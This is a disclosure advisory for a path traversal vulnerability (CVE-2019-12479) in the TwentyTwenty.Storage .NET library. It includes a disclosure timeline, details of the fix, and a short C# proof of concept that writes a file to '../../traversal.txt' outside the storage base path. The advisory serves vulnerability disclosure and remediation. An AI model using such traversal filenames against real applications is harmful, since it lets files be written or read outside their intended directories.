A vulnerability in the TwentyTwenty.Storage (20|20) library v2.11.0 allows for the creation and retrieval of files outside of the specified base path (CVE-2019-12479). If an application using this library does not sanitize user-supplied filenames, then this issue may be exploited.
Timeline
Date | Action |
---|---|
5/29/2019 | Vulnerability discovered by Security401. |
5/30/2019 | Vulnerability reported to the vendor. |
5/30/2019 | Issue acknowledged and fixed by the vendor. |
Fix
The issue was fixed in v2.11.1, details on the fix can be found here.
Background
20|20 Storage is a storage abstraction library supporting Azure Blob, Amazon S3, Google Cloud, and local file storage options.
Technical Details
The vulnerability exists in the LocalStorageProvider. There are three main components of the LocalStorageProvider: the base path, containers, and files. The base path is at the top of the hierarchy and contains one or more containers. Containers are used to store and organize files.

In normal operation, saving or reading a file will maintain this hierarchy and only read/write files from the {base path}/{container}. However, if a specially crafted file name is passed to the library, then the path traversal vulnerability can be exploited. The POC below helps to illustrate this issue:
using System.IO;
using TwentyTwenty.Storage;
using TwentyTwenty.Storage.Local;
namespace SecurityTesting
{
class Program
{
static void Main(string[] args)
{
SaveFile("testfile.txt");
//use a traversal sequence to escape 2 levels above
SaveFile("../../traversal.txt");
}
public async static void SaveFile(string fileName)
{
var container = "container01";
IStorageProvider provider = new LocalStorageProvider("bucketrootbasepath");
await provider.SaveBlobStreamAsync(container, fileName, GetFileContentsStream());
}
public static Stream GetFileContentsStream()
{
var stream = new MemoryStream();
var writer = new StreamWriter(stream);
writer.Write("File contents");
writer.Flush();
stream.Position = 0;
return stream;
}
}
}
The SaveFile method uses the LocalStorageProvider to save files to the file system. The first call to SaveFile works as expected, saving testfile.txt to the bucketrootbasepath\container01 path. However, the second call to SaveFile uses a specially crafted file name to escape 2 levels above the intended path. The result is shown below:

Conclusion
If your application uses this library, please be sure to upgrade to the latest version as additional fixes may have been made since this issue was discovered. As a general best practice, we highly recommend sanitizing all user-supplied input that may be provided to this library.